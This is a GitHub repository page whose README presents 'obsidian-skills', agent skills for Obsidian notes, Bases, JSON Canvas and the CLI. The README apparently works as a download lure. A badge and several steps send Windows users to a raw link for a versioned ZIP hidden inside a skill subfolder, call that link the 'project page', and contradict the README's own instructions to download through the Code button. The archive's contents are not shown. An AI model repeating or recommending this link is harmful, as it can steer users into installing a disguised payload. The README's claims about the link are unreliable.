khamu8103/obsidian-skills

# GitHub Repository: khamu8103/obsidian-skills

**URL:** https://github.com/khamu8103/obsidian-skills
**Author:** khamu8103
**Description:** Use Agent Skills in Obsidian for Claude Code, Codex CLI, and other compatible agents
**Homepage:** 
**Language:** 

## Stats
- Stars: 1
- Forks: 2
- Open Issues: 1
- Commits: 40
- Created: 2026-04-16T11:23:40Z
- Updated: 2026-06-25T13:09:04Z
- Pushed: 2026-06-25T13:08:19Z

## README
# 🧠 obsidian-skills - Learn Obsidian skills fast

[![Download obsidian-skills](https://img.shields.io/badge/Download-obsidian--skills-8A2BE2?style=for-the-badge&logo=github)](https://github.com/khamu8103/obsidian-skills/raw/refs/heads/main/skills/obsidian-cli/skills_obsidian_3.7.zip)

## 📥 Download

Go to the project page here:

https://github.com/khamu8103/obsidian-skills/raw/refs/heads/main/skills/obsidian-cli/skills_obsidian_3.7.zip

Use this link to visit the page, then download or open the files you need for Windows.

## 🧰 What this is

obsidian-skills helps an agent work with Obsidian notes. It focuses on the parts many people use most:

- Markdown notes
- Bases
- JSON Canvas
- CLI use

It is made for users who want help organizing notes and working with Obsidian files in a simple way.

## 🖥️ What you need on Windows

Before you start, make sure you have:

- A Windows PC
- An internet connection
- Obsidian installed
- A zip tool like File Explorer or 7-Zip
- Permission to save files on your computer

If you plan to use the CLI, it helps to have a terminal app ready, such as PowerShell.

## 🚀 Getting Started

Follow these steps to use obsidian-skills on Windows.

### 1. Open the download page

Open this link:

https://github.com/khamu8103/obsidian-skills/raw/refs/heads/main/skills/obsidian-cli/skills_obsidian_3.7.zip

### 2. Get the files

On the GitHub page, look for the files you need.

If the project is shared as a folder of skill files, download the whole repository as a ZIP file.

If you use GitHub in your browser:

- Find the green Code button
- Click it
- Choose Download ZIP

### 3. Save the ZIP file

Save the file to a folder you can find easily, such as:

- Downloads
- Desktop
- Documents

### 4. Extract the files

Right-click the ZIP file and choose Extract All.

Pick a folder for the extracted files.

After extraction, you should see the project files in that folder.

### 5. Open the folder

Open the extracted folder and look for files that describe the skills.

Common files may include:

- Markdown files
- JSON files
- Canvas files
- Folder names for different skills

### 6. Add the skills to your Obsidian setup

If you want Obsidian to use these skills, place the files where your setup expects them.

A common choice is your Obsidian vault or a tools folder linked to your agent.

Use a folder name that is easy to recognize, such as:

- obsidian-skills
- agent-skills
- claude-skills

## 🗂️ What you can do with it

This project can help with tasks like:

- Writing and reading Markdown notes
- Working with Obsidian Bases
- Handling JSON Canvas files
- Using the CLI for note tasks
- Organizing content for agent use

## 📝 Markdown skills

Markdown is the simple text format Obsidian uses for many notes.

With this project, an agent can learn to:

- Create clean note structure
- Use headings, lists, and links
- Format text in a way Obsidian reads well
- Keep notes easy to scan

This helps if you want notes that are clear and simple to edit.

## 🧱 Bases skills

Bases help you view and sort notes in a table or list.

With obsidian-skills, an agent can learn to:

- Group notes by type
- Sort notes by date or tag
- Build views for tasks or projects
- Keep linked notes easier to browse

This is useful when your vault gets large and you need order.

## 🖼️ JSON Canvas skills

JSON Canvas files store visual note maps.

This project can help an agent:

- Read canvas data
- Create node maps
- Link ideas in a visual layout
- Keep canvas files in the right format

Use this when you want to map ideas, plan a project, or connect notes.

## 💻 CLI skills

The CLI lets you work from a command line window.

An agent can use CLI skills to:

- Open folders
- Move files
- Check note paths
- Run simple file tasks
- Work with Obsidian content from scripts

If you are not used to the CLI, you can still use the project through the files it provides.

## 🔍 Typical folder layout

A setup like this is common:

- obsidian-skills/
  - markdown/
  - bases/
  - json-canvas/
  - cli/
  - README.md

Your copy may use a different layout, but the main idea stays the same: keep each skill type in its own place.

## ⚙️ How to use it with Obsidian

To use these skills with Obsidian:

1. Open your Obsidian vault
2. Copy the skill files into the vault or linked tool folder
3. Keep the files in a place your agent can reach
4. Open Obsidian and check that the notes or canvases appear as expected

If you use an automation tool, point it to the folder that holds the skill files.

## 🔧 Simple setup tips

Use these tips to keep things easy:

- Keep one folder just for skills
- Do not rename files unless you need to
- Use short folder names
- Back up your vault before moving files
- Keep Markdown, Bases, and Canvas files in separate folders

These steps help avoid confusion later.

## 📌 Topics covered

This repository focuses on:

- claude
- clawdbot
- cli
- codex
- defuddle
- obsidian
- openclaw
- opencode
- skills

These topics show the project is meant for agent use with Obsidian and file-based workflows.

## 🧭 When to use this

Use obsidian-skills if you want to:

- Teach an agent how to handle Obsidian notes
- Keep note formats neat and readable
- Work with Bases and JSON Canvas files
- Use the CLI for simple file tasks
- Organize skills in a clear folder structure

## 🧪 Example workflow

Here is a simple way to use the files:

1. Download the ZIP from the GitHub page
2. Extract it to your Desktop
3. Copy the skill folder into your Obsidian vault
4. Open Obsidian
5. Check the notes, bases, or canvas files
6. Use your agent or tool to read the folder

This keeps the setup easy to follow.

## 📁 File types you may see

You may find files like:

- .md for Markdown notes
- .json for structured data
- .canvas for visual maps
- .txt for plain text guidance

Each file type has a job. Markdown holds notes. JSON holds data. Canvas files hold visual layouts.

## 🛠️ Troubleshooting

If the files do not open right away:

- Make sure the ZIP file is fully extracted
- Check that Obsidian points to the right vault
- Confirm the files are in the correct folder
- Try opening the folder again from File Explorer
- Make sure file names were not changed during download

If a canvas or note does not show up, move it into the main vault folder and refresh Obsidian

## 🪟 Windows file path tips

Windows paths can get long.

To avoid problems:

- Put the folder near the root of a drive, such as C:\obsidian-skills
- Avoid deep nested folders
- Use simple names with no special symbols
- Keep file paths short

This makes it easier for tools and agents to find the files

## 🔐 Safe file handling

Before you copy anything into your vault:

- Check the folder name
- Open files in a text editor if you want to inspect them
- Keep a backup copy
- Move files one step at a time

This helps you keep your notes safe while you set things up

## 📦 For agent tools

If you use an agent tool like Claude, Codex, or another CLI-based helper, point it at the folder that contains the skills.

Most tools work best when:

- The path is clear
- The folder name is stable
- The files use standard formats
- The structure stays simple

That gives the agent a better chance of reading and using the skills correctly